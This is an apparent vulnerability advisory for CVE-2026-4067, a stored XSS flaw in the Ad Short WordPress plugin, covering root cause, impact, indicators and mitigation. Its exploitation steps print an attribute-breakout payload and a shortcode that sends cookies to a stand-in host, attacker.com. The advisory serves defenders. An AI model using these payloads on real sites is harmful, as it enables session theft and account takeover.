CVE-2026-4067: 
WordPress vulnerability analysis and mitigation

CVE-2026-4067 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ad Short plugin for WordPress, affecting all versions up to and including 2.0.1. The flaw allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages, which execute when any user visits the affected page. It was published on March 21, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping (CWE-79) in the plugin's ad_func() shortcode handler. Specifically, the client attribute passed to the [ad] shortcode via shortcode_atts() at line 71 of ad_short.php is directly concatenated into a double-quoted HTML attribute (data-ad-client) at line 130 without applying WordPress's esc_attr() or any equivalent sanitization function. An attacker with Contributor-level access can craft a post or page containing a malicious [ad client="..."] shortcode payload; when the page is rendered and visited by another user, the injected script executes in their browser context (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the malicious shortcode, impacting both confidentiality and integrity. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of page content. While availability is not directly impacted, the changed scope means the attacker's script runs in the context of the victim's browser session, potentially enabling account takeover of higher-privileged users such as administrators (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-4067 as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level, which limits the attack surface compared to unauthenticated vulnerabilities. It does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Ad Short ≤ 2.0.1.
2. Craft Malicious Shortcode: Create or edit a post/page and insert a malicious [ad] shortcode with a crafted client attribute, e.g., [ad client="\" onmouseover=\"alert(document.cookie)"] or a more sophisticated payload that breaks out of the data-ad-client attribute context.
3. Publish the Content: Submit the post for review or publish it directly (depending on role permissions), embedding the malicious shortcode in the page content.
4. Trigger Execution: When an administrator or other user visits the page, the injected script executes in their browser. A more targeted payload could exfiltrate session cookies to an attacker-controlled server (e.g., [ad client="x\" onload=\"fetch('https://attacker.com/?c='+document.cookie)"]).
5. Achieve Objective: Use the stolen session token to hijack the victim's account, potentially escalating to administrator-level access and full site compromise (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing [ad shortcode with unusual client attribute values including quote characters, event handlers, or script tags.
• Database: WordPress wp_posts table entries containing [ad client= shortcode with HTML event attributes (e.g., onerror, onload, onmouseover) or <script> tags embedded in the client parameter.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting pages containing the [ad] shortcode, potentially carrying cookie or session data in query parameters.
• File System: Unexpected modifications to ad_short.php or other plugin files if an attacker escalated to admin and deployed a web shell post-exploitation.

Users should update the Ad Short plugin to a version beyond 2.0.1 if a patched release has been issued by the vendor (nocaredev). If no patch is available, the recommended workaround is to deactivate and remove the Ad Short plugin entirely until a fix is released. Site administrators should also audit existing posts and pages for malicious [ad] shortcode usage and restrict Contributor-level user registrations if not required. Applying a WordPress security plugin with XSS filtering (e.g., Wordfence) can provide additional detection capability (Wordfence).

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the week of March 16–22, 2026 (Wordfence Blog). The vulnerability received standard coverage from CVE aggregation and threat intelligence platforms but no notable independent researcher commentary or significant social media discussion has been identified.